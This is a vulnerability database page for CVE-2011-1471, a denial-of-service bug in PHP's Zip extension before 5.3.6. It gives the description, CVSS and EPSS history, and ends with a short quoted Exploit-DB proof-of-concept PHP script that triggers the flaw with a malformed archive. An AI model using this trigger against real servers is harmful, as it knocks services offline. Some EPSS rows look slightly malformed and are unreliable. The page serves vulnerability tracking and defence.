CVE-2011-1471

EPSS

13.24%V4

Vector

Network

Published

2011-03-20
00h00 +00:00

Modified

2011-04-09
07h00 +00:00

Official links

CVE.org

NVD

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Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

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CVE Descriptions

Integer signedness error in zip_stream.c in the Zip extension in PHP before 5.3.6 allows context-dependent attackers to cause a denial of service (CPU consumption) via a malformed archive file that triggers errors in zip_fread function calls.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-189	Category : Numeric Errors Weaknesses in this category are related to improper calculation or conversion of numbers.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	4.3		AV:N/AC:M/Au:N/C:N/I:N/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	11%	–	–
2022-04-03	–	–	11%	–	–
2022-05-22	–	–	11%	–	–
2023-03-12	–	–	–	3%	–
2023-05-14	–	–	–	3.03%	–
2023-06-04	–	–	–	3.03%	–
2024-02-11	–	–	–	3.03%	–
2024-06-02	–	–	–	3.03%	–
2024-12-22	–	–	–	4.89%	–
2025-02-09	–	–	–	6.36%	–
2025-01-19	–	–	–	4.89%	–
2025-02-16	–	–	–	6.36%	–
2025-03-18	–	–	–	–	13.24%
2025-04-08	–	–	–	–	10.66%
2025-04-09	–	–	–	–	13.24%
2025-04-14	–	–	–	–	10.66%
2025-04-15	–	–	–	–	13.24%
2025-04-16	–	–	–	–	10.66%
2025-04-22	–	–	–	–	13.24%
2025-04-22	–	–	–	–	13.24,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	89%
2022-04-03	94%
2022-05-22	95%
2023-03-12	89%
2023-05-14	89%
2023-06-04	9%
2024-02-11	91%
2024-06-02	91%
2024-12-22	93%
2025-02-09	94%
2025-01-19	93%
2025-02-16	94%
2025-03-18	94%
2025-04-08	93%
2025-04-09	94%
2025-04-14	93%
2025-04-15	94%
2025-04-16	93%
2025-04-22	94%
2025-04-22	94%

Exploit information

Exploit Database EDB-ID : 35485

Publication date : 2011-03-09 23h00 +00:00
Author : TorokAlpar
EDB Verified : Yes

source: https://www.securityfocus.com/bid/46975/info PHP is prone to a remote denial-of-service vulnerability that affects the 'Zip' extension. Successful attacks will cause the application to crash, creating a denial-of-service condition. Due to the nature of this issue, arbitrary code-execution may be possible; however, this has not been confirmed. Versions prior to PHP 5.3.6 are vulnerable. <?php $o = new ZipArchive(); if (! $o->open('test.zip',ZipArchive::CHECKCONS)) { exit ('error can\'t open'); } $o->getStream('file2'); // this file is ok echo "OK"; $r = $o->getStream('file1'); // this file has a wrong crc while (! feof($r)) { fread($r,1024); } echo "never here\n"; ?>